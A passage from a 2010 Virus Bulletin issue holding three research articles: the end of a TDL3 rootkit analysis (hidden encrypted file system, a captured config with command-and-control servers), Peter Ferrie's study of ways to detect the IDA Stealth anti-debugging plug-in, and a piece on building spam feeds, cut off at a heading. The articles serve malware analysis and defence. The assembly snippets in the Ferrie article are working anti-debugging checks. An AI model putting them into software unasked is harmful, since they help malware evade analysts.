The droppers were distributed using a pay-per-install (PPI) scheme that is already well known and gathering increasing popularity among cybercriminals. The PPI scheme is similar to those used for distributing toolbars for web browsers. If you are a partner distributing toolbars then you get a special build with an embedded identifier. This enables the number of installations for which you have been responsible to be calculated, and therefore also the calculation of the revenue due to you.

The same approach is used for distributing these rootkits: information about the distributor is embedded into the executable and special servers are used to calculate the number of installations.

Easy money

The Dogma Millions cybercrime group started business in the autumn of 2009, placing a variety of advertisements on public forums offering ‘easy money’. The group has a well-developed business infrastructure – from which many legitimate businesses could learn: for example, each affiliate is assigned a personal manager who can be consulted in case of any problems [3].

In order to reduce the likelihood of detection by anti-virus software, distributed malware is repacked every few hours (or even more frequently) and partners are specifically instructed not to check whether the malware can be detected by anti-virus products by using resources like VirusTotal. If these rules are violated, a partner may be fined. Usually, the cybercrime group uses all-too-reliable packers and protectors which ensure that the malware remains undetected by many anti-virus products.

Encrypted file system

One of the most interesting features of the rootkit is its file system, which is used to store its files and keep them hidden. The file system consists of:

- injectors (tdlcmd.dll)

- configuration information (config.ini)

- the rootkit body (tdl)

- overwritten resources of the infected file (rsrc.dat)

- additional files that are downloaded from the Internet.

We can see the layout of the file system in Figure 1.

Figure 1. Rootkit file system layout.

The file system begins at the end of the disk, namely at the last logical block (sector), and grows towards the beginning of the disk. Thus, in theory it can overwrite users’ data, if it grows large enough. It starts at the offset from the beginning of the disk which can be calculated with the following formula:

offset = (x – 1) * y

Here, x represents the total number of logical blocks on the disk, while y represents the size of the logical block (typically, the size of the logical block is 512 bytes). The file system of the rootkit is also divided into blocks. Each block has a size of 1,024 bytes. At the very beginning of the file system file there is a table which contains information about all the files stored in the file system. Each record in the table has the following format:

- file name (limited to 16 symbols);

- starting offset of the file from the beginning of the file system expressed in kilobytes (to get the actual offset of a file we need to subtract the starting offset multiplied by 1,024 from the offset of the beginning of the file system);

- size of the file;

- time of creation.

The structures that describe the file system are detailed in the next section.

File system structures

// Structure corresponding to file entry in the file table typedef struct _TDL_FILE_TABLE_ENTRY { char FileName[16]; // file name ULONG FileSize; // size of the file ULONG FileOffset; // offset of the file in kilobytes __int64 FileTime; // time of creation }TDL_FILE_TABLE_ENTRY, *PTDL_FILE_TABLE_ENTRY; // Structure corresponding to block with file typedef struct _TDL_FILE_OBJECT { ULONG Signature; // TDLF or TDLN if the block is free ULONG NextBlockOffset; // offset to the next block with file data in kilobytes ULONG Reserved; UCHAR FileData[0x3F4]; // file data }TDL_FILE_OBJECT, *PTDL_FILE_OBJECT; //Structure corresponding to file table typedef struct _TDL_FS_DIRECTORY { ULONG Signature; // TDLD ULONG NextBlockOffset; // offset of the next block with file table if any ULONG Reserved; TDL_FILE_TABLE_ENTRY Files[0x1F]; // array of file entries in file table }TDL_FS_DIRECTORY, *PTDL_FS_DIRECTORY;

Each block of the rootkit’s file system has the following format:

- 0/3 bytes – signature:

- TDLD – if the block contains file table information

- TDLF – if the block contains a file

- TDLN – if the block is free

- 4/7 – offset to the next block from the beginning of the file system expressed in kilobytes;

- 8/11 – size of the data;

- 12/1023 – data.

Figure 2, “First block of the rootkit's file system.” shows an example of the file table.

Figure 2. First block of the rootkit's file system.

As we can see from Figure 2, “First block of the rootkit's file system.”, the file system contains five files:

- tdl – file containing the body of the rootkit

- config.ini – configuration file

- rsrc.dat – 915 (0x393) bytes of the overwritten resources of the infected driver

- tdlcmd.dll – the module that is injected into processes

- ?xay.tmp – deleted temporary file.

Also, we can see that the file config.ini has a size of 0x2A1 bytes and starts at the next block (its offset is 1 kilobyte) of the file system.

Each block of the rootkit’s file system is encrypted. In the latest version (3.273) the blocks are encrypted by XORing with a constant value (0x54) which is incremented at each XOR operation, while in the previous versions the RC4 cipher was used with the ‘tdl’ key.

In the course of our research into TDSS [2], from which this is a brief extract, we have developed a universal utility for dumping the rootkit’s hidden file system. Our utility has worked correctly with all the samples which we have been able to test to date, and is available from http://www.eset.ru/.viruslab/analytics/tdlfsdumper.zip.

This tool is useful for getting files stored into TDL3’s encrypted file system (v. 2.23 and higher). It’s used as follows:

- Run the tool with the following parameters:

- tfd.exe [-v] [directory_to_save_files]

- -v for verbose output;

- directory_to_save_files – specify the directory where content of the file system will be stored.

The tool requires administrative privileges (in order to load the driver). Here, just to give you a final flavour of how it looks, is an example of the sort of output you can expect using tfd.exe:

Output example: tfd.exe

Contents of TDL3 file system: config.ini MD5: C7562452A2D22E264CA936FD24169539 tdl MD5: 19640E59F88B3EC86810F5CB92532A7F rsrc.dat MD5: EDFF98E57B9A88A731FA016671C7E222 bckfg.tmp MD5: 1BB9C4C278BAD9AEA26D36581679EC7E tdlcmd.dll MD5: 5250D03F8BA4337426AC928B64C10C2E

Output example: tfd.exe -v

Contents of TDL3 file system: config.ini Size: 505 bytes MD5: C7562452A2D22E264CA936FD24169539 Creation time: 24/05/2010 14:43:14 tdl Size: 25159 bytes MD5: 19640E59F88B3EC86810F5CB92532A7F Creation time: 24/05/2010 14:43:14 rsrc.dat Size: 917 bytes MD5:EDFF98E57B9A88A731FA016671C7E222 Creation time: 24/05/2010 14:43:15 bckfg.tmp Size: 191 bytes MD5:1BB9C4C278BAD9AEA26D36581679EC7E Creation time: 24/05/2010 14:43:15 tdlcmd.dll Size: 20480 bytes MD5:5250D03F8BA4337426AC928B64C10C2E Creation time: 24/05/2010 14:43:15 config.ini: [main] quote=Tempers are wearing thin. Let’s hope some robot doesn’t kill everybody version=3.273 botid=b79aea7d-ea32-4da4-bdd0-85af03bd91c7 affid=11418 subid=0 installdate=24.5.2010 14:43:16 builddate=8.4.2010 11:18:57 [injector] *=tdlcmd.dll [tdlcmd] servers=https://873hgf7xx60.com/;https://34jh7alm94.asia/;https://112.121.181.26/;https://61.61.20.132/ wspservers=http://lk01ha71gg1.cc/;http://zl091kha644.com/;http://91jjak4555j.com/ popupservers=http://zxclk9abnz72.com/ version=3.74

Bibliography

[1] With special thanks to David Harley for participating in this research.

[2] Matrosov, A.; Rodionov, E. TDL3: The Rootkit Of All Evil? http://www.eset.com/documentation/white-papers.

[3] Stevens, K. The Underground Economy of the Pay-Per-Install (PPI) Business. http://www.blackhat.com/presentations/bh-dc-10/Stevens_Kevin/BlackHat-DC-2010-Stevens-Underground-wp.pdf.

Chapter 5. Technical feature

Anti-unpacker tricks – part thirteen

Peter Ferrie

Microsoft
USA

Editor

Helen Martin

Copyright © 2010 Virus Bulletin

2010-10-01

Abstract

Last year, a series of articles described some tricks that might become common in the future, along with some countermeasures. Now, the series continues with a look at tricks that are specific to the IDA plug-in, IDA Stealth.

Table of Contents

IDA plug-ins
IDA plug-ins

New anti-unpacking tricks continue to be developed as older ones are constantly being defeated. Last year, a series of articles described some tricks that might become common in the future, along with some countermeasures [1], [2], [3], [4], [5], [6], [7], [8], [9], [10], [11], [12], [13].

In this article we look at some anti-unpacking tricks that are specific to the IDA plug-in IDA Stealth.

Unless stated otherwise, all of the techniques described here were discovered and developed by the author.

IDA plug-ins

A number of packers have been written to detect the IDA debugger, so one plug-in (so far) has been written to attempt to hide it from those packers. The following is a description of that plug-in, with a list of vulnerabilities that could be used to detect it.

IDA plug-ins

The IDA Stealth plug-in was described in a previous paper [8]. What follows is a description of the changes from the previous version, and behaviour that is specific to more recent versions of Windows.

IDA Stealth sets the PEB->Heap->ForceFlags flags to zero, and clears all but the HEAP_GROWABLE flag in the PEB->Heap->Flags flags. However, the location of these fields was moved in Windows Vista, so the plug-in fails to hide the changes. IDA Stealth also clears all but the FLG_STOP_ON_EXCEPTION, FLG_SHOW_LDR_SNAPS, FLG_DEBUG_INITIAL_COMMAND, FLG_STOP_ON_HUNG_GUI and FLG_HEAP_VALIDATE_ALL bits in the PEB->NtGlobalFlag field. Whilst not as wrong as setting bits arbitrarily, this behaviour is still incorrect.

IDA Stealth patches the debuggee’s ntdll RtlGetNtGlobalFlags() function code to always return zero.

IDA Stealth hooks the debuggee’s ntdll NtQuerySystemInformation() function by replacing its first five bytes with a relative jump to an injected DLL. The hook intercepts any attempt to call the ntdll NtQuerySystemInformation() function with the SystemKernelDebuggerInformation class. When that occurs, the hook calls the original ntdll NtQuerySystemInformation() function, and exits if an error occurs. If no error occurs, then IDA Stealth will store a value that corresponds to the cleared KdDebuggerEnabled flag and the KdDebuggerNotPresent flag that is set. However, it is unclear why this function is intercepted, since IDA is not a kernel-mode debugger.

The hook also checks if the ntdll NtQuerySystemInformation() function was called with the SystemProcessInformation class. If so, then the hook calls the original ntdll NtQuerySystemInformation() function. If the call is successful, and the ‘hide IDA’ option is enabled, then the hook searches within the returned buffer for ‘idag.exe’ or ‘idaw.exe’, then erases all copies of the name that are found.

If the ‘fake parent’ option is enabled, then the hook replaces the process ID of the IDA debugger with the process ID of EXPLORER.EXE in the InheritedFromUniqueProcessId field. This could be considered a bug, since the true parent might not be Explorer. The proper behaviour would be to use the process ID of IDA’s parent.

IDA Stealth also hooks the debuggee’s ntdll NtQueryInformationProcess() function by replacing its first five bytes with a relative jump to an injected DLL. The hook intercepts any attempt to call the ntdll NtQueryInformationProcess() function with the ProcessDebugPort class, and returns a zero for the debug port if the current process ID matches the requested process ID.

The hook also checks whether the ntdll NtQueryInformationProcess() function was called with the ProcessBasicInformation class, and that the current process ID matches the requested process ID. If both of those conditions are true, then the hook replaces the parent process ID with that of the shell window in the InheritedFromUniqueProcessId field. This could be considered a bug, since the true parent might not be the shell. The proper behaviour would be to use the process ID of IDA’s parent.

IDA Stealth hooks the debuggee’s ntdll NtQueryObject() function by replacing the first five bytes of the function with a relative jump to an injected DLL. The hook intercepts attempts to call the ntdll NtQueryObject() function with the ObjectAllTypesInformation class. When that occurs, the hook calls the original ntdll NtQueryObject() function, then searches within the returned buffer for the ‘DebugObject’ string. The hook sets the object count to zero if the DebugObject is found.

The plug-in no longer hooks the debuggee’s ntdll NtClose() function. Instead, it patches the ntdll KiUserExceptionDispatcher() function by replacing the function’s first byte with a ‘C3’ opcode (‘RET’ instruction). This has the effect of disabling the exception that is raised when an invalid handle is passed to the ntdll NtClose() function. However, this technique only works on the 32-bit versions of Windows. On 64-bit versions of Windows, the ntdll KiRaiseExceptionDispatcher() function is called as before, but it is the 64-bit version of the function that is being called. That function calls the 64-bit kernel32 RaiseException() function, which eventually delivers the exception to the environment. As a result, the exception remains visible.

Apparently, it would be possible to apply the same first-byte replacement on the 64-bit platform, but it would require the use of an interesting trick. Specifically, the code must use a gate to enter 64-bit mode. From there, it would be a simple matter to call the ntdll NtProtectVirtualMemory() function to unprotect the memory, write the opcode as usual, and then call the ntdll NtProtectVirtualMemory() function again to re-protect the memory. Finally, the code must return to 32-bit mode through the gate. The existence of such a gate has been disclosed publicly [14]. This gate has some interesting properties. For example, it is impossible to query its attributes from user mode. The problem is that the 32-bit ntdll NtQueryInformationThread() function supports only three selectors for a selector query: 0x20 (which corresponds to the CS selector), 0x28 (which corresponds to the DS/ES/FS/GS selectors), and 0x50 (which corresponds to the FS selector). The results are also hard coded, and the behaviour is contained entirely within the wow64.dll file. The call never reaches ntoskrnl.exe.

In any case, disabling the exception without reference to the ‘HKLM\System\CurrentControlSet\Control\Session Manager\GlobalFlag’ registry value means that the absence of the exception might reveal the presence of IDA Stealth.

IDA Stealth hooks the debuggee’s ntdll NtSetInformationThread() function by replacing its first five bytes with a relative jump to an injected DLL. The hook intercepts attempts to call the ntdll NtSetInformationThread() function with the HideThreadFromDebugger class. The hook detects an invalid handle by attempting to duplicate the handle. If the handle is valid, then the hook ignores the request and returns successfully.

The plug-in hooks the debuggee’s kernel32 SuspendThread() function by replacing its first five bytes with a relative jump to an injected DLL. The hook detects an invalid handle by attempting to duplicate it. If the handle is valid, then the hook ignores the request and returns successfully.

IDA Stealth hooks the debuggee’s kernel32 GetTickCount() function by replacing the first five bytes of the function with a relative jump to an injected DLL. When the hook is reached for the first time, it calls the kernel32 QueryPerformanceCounter() function to get an initial value for the tick count. Subsequent calls to the hook cause it to return a tick count that increases in a non-linear fashion.

The plug-in hooks the debuggee’s user32 BlockInput() function by replacing its first five bytes with a relative jump to an injected DLL. When the hook is reached, it simply returns successfully. However, this behaviour is incorrect. Windows will not allow the input to be blocked twice, nor will it allow the input to be enabled twice. Thus, if the same state is passed to the function twice, the result should be different.

Example code looks like this:

push 1 call BlockInput xchg ebx, eax push 1 call BlockInput xor ebx, eax je being_debugged

IDA Stealth hooks the debuggee’s kernel32 OpenProcess() function once again by replacing its first five bytes with a relative jump to an injected DLL. When the hook is reached, it enumerates the list of processes in order to find the CSRSS.EXE process. If that process is found, then its process ID is compared to the requested process ID. If there is a match, then the hook returns an error code. Otherwise, it calls the original function.

IDA Stealth hooks the debuggee’s user32 SwitchDesktop() function by replacing the first five bytes of the function with a relative jump to an injected DLL. The hook detects an invalid handle by attempting to duplicate the handle. If the handle is valid, then the hook ignores the request and returns successfully.

The plug-in hooks the debugger’s ntdll DbgUiConvertStateChangeStructure() function, if it is available (the API was introduced in Windows XP), by replacing its first five bytes with a relative jump to the plug-in. When the hook is reached, it checks for the DBG_PRINTEXCEPTION_C (0x40010006) exception, and then simply returns success if it is seen. Otherwise, it calls the original function. This allows the exception to be delivered to the debuggee.

IDA Stealth hooks the debuggee’s kernel32 GetThreadContext() function by replacing its first five bytes with a relative jump to an injected DLL. When the hook is reached, it calls the original kernel32 GetThreadContext() function, and then either zeroes the contents of the debug registers, or returns a cached copy of the debug registers. There is a bug in this code which is that the register cache is identified by the current thread ID, instead of the ID of the thread for which the context is being retrieved. Thus, if multiple threads request the same information for the same thread, they might receive different results.

IDA Stealth hooks the debuggee’s kernel32 SetThreadContext() function by replacing its first five bytes with a relative jump to an injected DLL. When the hook is reached, it caches a copy of the debug registers, and then removes the CONTEXT_DEBUG_REGISTERS flag from the ContextFlags field, before completing the call. There are two bugs in that code. The first is that the register cache is identified by the current thread ID, instead of the ID of the thread for which the context is being set. Thus, if one thread sets the context for a second thread, and a third thread retrieves the context for the second thread, then the context might be different. The second bug is that the hook does not check if the lpContext parameter points to a valid memory address, that the lpContext range is readable, or that the first four bytes of the lpContext range are writable. If the lpContext pointer is invalid, not fully readable, or the first four bytes are not writable, then IDA Stealth will cause an exception. The IDA debugger will trap the exception, but the debugging session will be interrupted.

IDA Stealth hooks the debuggee’s ntdll NtYieldExecution() function by replacing its first five bytes with a relative jump to an injected DLL. When the hook is reached, it calls the original ntdll NtYieldExecution() function, then returns successfully.

The plug-in hooks the debuggee’s ntdll NtTerminateThread() function by replacing its first five bytes with a relative jump to an injected DLL. The hook detects an invalid handle by attempting to duplicate the handle. If the handle is valid, then the hook ignores the request and returns successfully. This could be considered a bug, because it disallows the intentional termination of user-created threads.

Similarly, IDA Stealth hooks the debuggee’s ntdll NtTerminateProcess() function by replacing its first five bytes with a relative jump to an injected DLL. The hook detects an invalid handle by attempting to duplicate it. If the handle is valid, then the hook ignores the request and returns successfully. This could be considered a bug, because it disallows the intentional termination of user-created processes.

IDA Stealth hooks the debuggee’s ntdll RtlGetVersion() function, if it exists (the API was introduced in Windows 2000), by replacing the first five bytes of the function with a relative jump to an injected DLL. When the hook is reached, it checks if the RTL_OSVERSIONINFOEXW format was requested. If the RTL_OSVERSIONINFOEXW format was not requested, then the hook assumes that the requested format was the RTL_OSVERSIONINFOW format. This behaviour is identical to that of Windows XP. However, the different versions of Windows behave in different ways regarding this function. The exact problem is how to behave if the size field specifies a buffer that is not large enough to receive the full data. Specifically, Windows 2000 always writes 0x14 bytes before checking the value in this field; Windows XP writes 0x14 bytes and the service pack string before checking the value in this field; Windows Vista and later versions write 0x14 bytes and the service pack string before checking the value in this field, but limit the copy to a maximum of 0xfe bytes. As a result, the function can behave in one of three ways.

Example code looks like this:

mov eax, fs:[30h] mov d [eax+1f4h], offset l2 push offset l1 call RtlGetVersion ... l1: db 16h dup (1) l2: db 100h dup (2), 0, 0

On Windows 2000, the byte at l1+0x14 has a value of 1, because the data is not copied at all. On Windows XP, the byte at l1+0x14 has a value of 2, because the data is copied irrespective of size. On Windows Vista, the byte at l1+0x14 has a value of 0, because the data is copied until the maximum length is reached, and then the value is zeroed because the string is too long. This behaviour allows IDA Stealth to be detected on specific platforms.

Example code looks like this:

call GetVersion cmp al, 5 jb not_supported xchg ebx, eax mov eax, fs:[30h] mov d [eax+1f4h], offset l8 push offset l5 call GetModuleHandleA push offset l6 push eax call GetProcAddress push offset l7 call eax movzx ecx, b [offset l7+14h] jecxz l3 loop l2 ;looks like Windows 2000 ;fail if doesn’t behave like it cmp bx, 5 l1: je l4 ;fail if unrecognised value l2: loop being_debugged ;looks like XP ;fail if doesn’t behave like it cmp bx, 105h jmp l1 ;looks like Windows Vista+ ;fail if doesn’t behave like it l3: cmp bl, 6 jb being_debugged l4: ... l5: db “ntdll”, 0 l6: db “RtlGetVersion”, 0 l7: db 16h dup (1) l8: db 100h dup (2), 0, 0

IDA Stealth hooks the debugger’s kernel32 DebugActiveProcess() function by replacing its first five bytes with a relative jump to the plug-in. When the hook is reached, it overwrites the entire contents of the debuggee’s ntdll.dll code section with that of the debugger’s ntdll.dll code section, whose size is specified by the SizeOfCode field in the PE header. This has the effect of removing any changes that the debuggee might have made, in an attempt to prevent a debugger from attaching to the process. However, this technique is detected very easily.

Example code looks like this:

push offset l3 call GetModuleHandleA push offset l4 push eax call GetProcAddress push eax push esp push 40h ;PAGE_EXECUTE_READWRITE push 1 push eax xchg ebx, eax call VirtualProtect mov b [ebx], 0c3h push eax push esp xor eax, eax push eax push ebx push offset l1 push eax push eax call CreateThread ... l1: pop eax pop eax l2: cmp b [eax], 0c3h je l2 jmp being_debugged l3: db “ntdll”, 0 ;use a less common API l4: db “DbgUserBreakPoint”, 0

The plug-in installs a driver that makes the RDTSC instruction illegal when called from ring 3. The driver’s name is ‘rdtscemu’ by default, but it can optionally be a random string value returned by either the kernel32 QueryPerformanceCounter() function or the kernel32 GetTickCount() function.

The driver intercepts the exception that occurs when the instruction is issued. When the exception occurs, the driver executes the RDTSC instruction in ring 0, and then returns a value that is controlled by the driver, as the elapsed time since the last time the RDTSC instruction was executed. The value has a delta applied to it, which is specified as part of a DeviceIoControl() call.

The author of IDA Stealth responded to the report. Some things were changed in version 1.1.1, such as adding support for the heap flags location for Windows Vista. However, the NtClose() problem remains on 64-bit Windows.

The author of IDA Stealth also released version 1.2 shortly afterwards, which introduced a new ‘stealth’ driver, but which also introduced some new bugs. The driver hooks the ntoskrnl NtQueryInformationProcess() function directly in the Service Descriptor Table. The hook calls the original ntoskrnl NtQueryInformationProcess() function, then checks if an error occurred. If no error occurred, then the hook checks if the ProcessInformationClass is the ProcessDebugPort class, and zeroes the port if so. There is a bug in that code, which is that the process handle is not checked. The correct behaviour would have been to zero the port only if the current process is specified.

The hook checks if the ProcessInformationClass is the ProcessDebugObjectHandle class. If it is, then the hook returns a handle value of one. There are three bugs in this code. The first is that the return value is incorrect. When the IDA debugger is active, the function will return successfully. That result alone is enough to reveal the presence of IDA Stealth. The second bug is that by changing the handle value, any legitimate use of that handle becomes impossible. The third bug is that the process handle is not checked. The correct behaviour would have been to return a failure with the correct error code, but only if the current process is specified.

The hook checks if the ProcessInformationClass is the ProcessDebugFlags class, and sets the flags to true if so, signifying that no debugger is present. There is a bug in this code, which is that the process handle is not checked. The correct behaviour would have been to zero the port only if the current process is specified.

Example code demonstrating these techniques was published in a previous paper [3].

The driver hooks the ntoskrnl NtSetInformationThread() function directly in the Service Descriptor Table. The hook intercepts attempts to call the ntdll NtSetInformationThread() function with the HideThreadFromDebugger class. The hook detects an invalid handle by attempting to duplicate the handle. If the handle is valid, then the hook ignores the request and returns successfully.

The author of IDA Stealth responded very quickly to the report. The bugs will be fixed in a future version.

The final part of this series will look at anti-unpacking by emulating.

The text of this paper was produced without reference to any Microsoft source code or personnel.

Bibliography

[1] http://pferrie.tripod.com/papers/unpackers.pdf.

[2] http://www.virusbtn.com/pdf/magazine/2008/200812.pdf.

[3] http://www.virusbtn.com/pdf/magazine/2009/200901.pdf.

[4] http://www.virusbtn.com/pdf/magazine/2009/200902.pdf.

[5] http://www.virusbtn.com/pdf/magazine/2009/200903.pdf.

[6] http://www.virusbtn.com/pdf/magazine/2009/200904.pdf.

[7] http://www.virusbtn.com/pdf/magazine/2009/200905.pdf.

[8] http://www.virusbtn.com/pdf/magazine/2009/200906.pdf.

[9] http://www.virusbtn.com/pdf/magazine/2010/201005.pdf.

[10] http://www.virusbtn.com/pdf/magazine/2010/201006.pdf.

[11] http://www.virusbtn.com/pdf/magazine/2010/201007.pdf.

[12] http://www.virusbtn.com/pdf/magazine/2010/ 201008.pdf.

[13] http://www.virusbtn.com/pdf/magazine/2010/ 201008.pdf.

[14] http://vx.netlux.org/lib/vrg02.html.

Chapter 6. Feature

On the relevance of spam feeds

Claudiu Musat

BitDefender
Romania

George Petre

BitDefender
Romania

Editor

Helen Martin

Copyright © 2010 Virus Bulletin

2010-10-01

Abstract

Claudiu Musat and George Petre explain why spam feeds matter in the anti-spam field and discuss the importance of effective spam-gathering methods.

Table of Contents

Introduction
A brief history of spam gathering

Subscribing to spam – the eternal flame

Open relay servers

Extending the spam flow

Cleansing spam feeds

Measuring spam feed relevance

Comparative accuracy analysis

IP and URI blacklist benchmarking

Undetected spam campaigns

Conclusion

Spam feeds matter. The fact that this aspect of anti-spam technology has received little attention compared to filtering methods could be blamed on the fact that most vendors, after obtaining a detection rate considered satisfactory at the time, tend to believe that their own spam feed is a good representation of the total amount of spam in the wild. But when their false negative rates need to decrease tenfold in order for their product to remain competitive, obtaining a supply of niche spam is paramount. This is where different spam-gathering methods become important. And since just one false positive can have an enormous impact on a product’s reputation, making sure no newsletters or other ‘grey zone’ mail have permeated the spam feed is also important. Finally, establishing a method to measure the value of the spam feed might help create an environment where vendors exchange spam and everyone in the industry contributes to a relevant collection of spam.

Introduction

Many, if not most of today’s spam filters rely heavily on the message content to make their filtering decisions. We are also among those who believe that the message body and headers contain the most relevant pieces of information that a reactive classification can be based upon, from IP blacklists to pattern matching techniques.

Numerous content-based filtering methods have been employed to ensure that anti-spam filters do not mistake ham for spam, and usually those distinctions are made at runtime based upon previous training conducted on pre-classified messages (both spam and legitimate). This follows the assumption that the spam and ham emails on which the filters are trained have previously been separated into non-overlapping sets.

This is an important and often overlooked weakness of content-based filters – they are completely reliant on the quality of the training data. If the filters are not trained to detect a specific type of message, whether directly or indirectly, odds are that they won’t detect any subsequent similar ones. Therefore, if a spam feed is not sufficiently diverse, any filter that relies on it will see its detection rate skewed downwards.

Also, if the training feed is polluted, odds are that the respective filter – whether it consists of a clustering algorithm, a neural network, a Bayes network or any other content-based method – will perform poorly at runtime. Ensuring that pollution levels remain low in the training feed is paramount for the success of the entire filtering process.

In the subsequent sections we describe how we create and enhance a spam feed, how we eliminate known types of pollution, and how we evaluate it.

A brief history of spam gathering

In 2002, when our anti-spam engine development started, most email servers didn’t integrate anti-spam engines. As a result of the poor anti-spam filter coverage, the spammers’ job was quite easy, and the variety of spam in existence was small.

Our first spam collection was composed of the corpus provided by spamarchive.org (a project that is now defunct), our personal email spam, our colleagues’ ‘donations’ and a few emails from honeypots posted on our sites. At the time, this was sufficient to cover a significant part of the spam phenomenon, but it was just the beginning. Soon afterwards, the complexity of spam increased, and it started morphing as quickly or even faster than malware. At the same time, the spamarchives.org project became obsolete, our colleagues’ donations had become difficult to atomize (since every one of them had different email clients, different types of forwarding settings and so on), and our honeypots were only collecting small quantities of spam, which in turn were rather homogeneous. This was the point at which we decided to create a department responsible for the development of spam honeypots.

Our first option was to deploy honeypots on the Usenet groups. This was not an easy task since it is difficult to deploy honeypots at these locations while at the same time avoiding becoming a spammer yourself. This is also the reason why the first trial was not efficient: it was time consuming to post messages that were relevant to each group. But even if there weren’t enough honeypots deployed, the size of Usenet and the fact that Google indexed these groups was a good start. We didn’t have many messages, but we started to get a wider variety. This was our first real-time spam flow.

Subscribing to spam – the eternal flame

During that period we also started to search for people who had tackled the same problem: collecting representative samples of all the spam types in the world. We found a lot of discussions on different forums, including Slashdot, regarding the best methodology to create a spam flow. Some people claim that if you want to receive a clean spam flow you need to put your honeypots in public places and wait for spam to arrive, because the spam gathered by this means is unsolicited – whereas if you subscribe to a site, it is no longer spam. However, we did not follow this recommendation, because we didn’t want to lose out on the valuable messages that form the ‘grey zone’ of spam.

In order to explain how we define the ‘grey zone’, we will describe a few examples of sites that, in our opinion, belong to this category. The first is an employment website. Users can sign up to receive a newsletter from the site, however the site continues to send the newsletter even when the user has unsubscribed from it. It is a high-traffic site and it is impossible for an anti-spam product to block its emails, because there are many people still interested in receiving the newsletter. On the other hand, it is very likely that the customer database of this kind of site is sold to third parties, which makes it a good site on which to place honeypots.

The second example is a category of sites which promise the user free prizes. Usually the items consist of the latest popular gadget on the market (e.g. iPhone4 or iPad). Of course, the route to the prize consists of a lot of steps, including registration to participate in a lottery. Winning the prize is a long shot, but what you are certain to get is an inbox full of spam. This is the kind of spam that you usually receive after registering with such a site:

Figure 1. The type of spam received.

The third example is related to websites with weak security. There are innumerable legitimate sites that use popular CMSs or scripts. When harvesters find a security hole in the scripts of these websites, they are able to appropriate their database. Email addresses harvested in this way have a high price on the black market. This is why we decided to place honeypots on a large variety of sites that contain scripts with such weaknesses. Later, we developed methods to separate the legitimate newsletters sent by these sites from spam.

Open relay servers

For a long time, open relay servers were responsible for sending a significant quantity of spam. However, after the most popular MTAs started to disable the open relay option by default, the importance of this vulnerability decreased significantly. This was also the reason why the ORDB (Open Relay Database) project came to an end. But we wanted to be sure that open relay technology could not still be used by spammers. To test this, we set up a QMail that relayed every email but we deleted the binary responsible for delivery. In a short time we started to receive some automated messages relayed to a free email account containing our IP address. Because our IP was never used as an MX, we concluded that people were still scanning for open relays. We delivered these messages manually and as a result, started to receive large numbers of samples from one or two spam templates. Although the quantity was considerable, there were only a few spam campaigns and there was not sufficient variety to make the project interesting.

Extending the spam flow

After applying the previously mentioned methods, we started to receive higher quality spam. However, more was still needed. Initially we wanted to extract links to images from the emails, or long links, and follow them. This way, the spammers would know that the email had been read, so they would continue to send more spam to that address. This approach led to an increase in our spam flow just as we had expected. Clicking on the unsubscribe links was also a good way to increase the spam flow.

The second plan was to identify within the spam the advertised sites which contain newsletters or subscriptions. Because spammers use the same web template many times, it was easy to create a crawler that automatically introduced new honeypots in the advertised sites.

Another idea was to configure the MTAs from the mail servers in a weak way by also accepting messages without a helo/ehlo, setting up for each domain a catch-all account, storing messages for every domain, etc.

After implementing the above methods the quality and quantity of our spam flow started to get close to what we were aiming for. But in the meantime our expectations increased as well, and new methods were needed.

We started to exchange emails with scripting kids on some IRC channels, but the results were not impressive. We concluded that script kiddies are not active in the spam world, and that the professionals have dedicated communication channels that are hard to discover and track.

One successful attempt to receive spam was related to guessing unregistered but spammed domains. These domains are split into two categories: domains that have been used in the past as mail servers but whose business has since closed, and mistyped email server domains. While the first category is obvious, the second one is based on the idea that when writing their email in a public place, many people mistype the domain, but spammers’ crawlers are not aware of this fact.

Cleansing spam feeds

Since in many of the methods above legitimate emails – especially newsletters – are intertwined with spam, we present a method to extract newsletters from spam feeds, thus ensuring that those feeds will be suitable for training spam filters. The cleansing method relies on the differences between the incoming frequencies of spam and newsletters. While spam usually comes in bursts, also known as spam waves or campaigns, newsletters come in small, constant numbers and have a fairly constant periodicity.

Techniques that differentiate signals based on their periodicity are nothing new in signal processing, but they have, to the best of our knowledge, never been used in the anti-spam industry to separate newsletters from a given spam feed. The problem of lowering the newsletter frequency so that it will not be mistaken for spam is, however, relevant for email marketers. They long ago discovered that limiting the number of messages they send in a given time frame, and sending them apart from each other rather than in bursts, increases the chances of the messages passing through spam filters.

We analysed our incoming flow of spam messages for a period of more than one month. We had reasons to believe that within the millions of spam messages there were also newsletters coming in. Since our cleansing method only considered the differences between the sending patterns of various mails received, all information except the source of the message and the time it came in was discarded. Logs containing these sender/time-of-arrival pairs were thus the input of the system. Any further analysis would be source-oriented, so all the log entries were sorted by their source domain (e.g. coming from bitdefender.com).

Although in the case of spam these source domains could easily be forged, there is little doubt that where newsletters are concerned the stated source is the real one. Since we were only looking for a sending pattern for legitimate mail sources, the fact that spammers lie about the message source was not a deterrent – quite the contrary, since this fact only adds randomness to the patterns obtained for domains which appear to send spam.

We applied several heuristics in order to determine the subset of messages that were most likely to be newsletters:

- They must arrive in a fairly constant number on each day they appear.

- The temporal distance between different occurrences must be constant.

- They must not exceed a maximum number of messages per day.

Heuristics such as ‘the newsletter must only come on a daily/weekly/monthly basis’ are also valid and complementary to the ones above.

For the first runs we tested whether the emails whose log descriptions had been gathered as described above were actually ham, and in close to 80% the prediction was correct. That is a huge number given that they were extracted from a spam feed.

One variation that we have implemented as a backup to this method is to sort the incoming spam not according to their alleged source (the ‘from’ field in an email is not necessarily the real one), but by the web domains contained in the message body.

Measuring spam feed relevance

One of the constant problems we face is determining how relevant our feed is to real-world spam. We can measure the quantity of spam and the number of different waves; however it is difficult to estimate how many real-world spam waves we have in our corpus.

Comparative accuracy analysis

One of the ideas in testing our spam-gathering method was to set up some internal comparative tests between our product and the main competitors’ engines. This was quite difficult because different products have different speeds, and we were interested in analysing the detection of different products at a given time on the same messages. This limited our comparative tests to the speed of the slowest engine. When presented with this scenario, it was necessary to create a small but very different spam flow. After we set up the test we noticed that there were moments when the detection rate of all the products decreased, the drops in detection being generated by new spam waves. This was a promising sign, but we continued to look for others as well.

IP and URI blacklist benchmarking

We continued by extracting IP addresses from the corpus and verifying them with popular RBLs. We observed that most of the IP addresses were listed there, but we also discovered some that were not listed. This was proof not only that we had a relevant flow, but that we had emails that were not yet blacklisted by the popular RBLs’ servers.

We repeated the process with the URLs from the spam, and we obtained even better results, having a higher number of URLs that weren’t listed on the popular URL blacklist servers.

Undetected spam campaigns

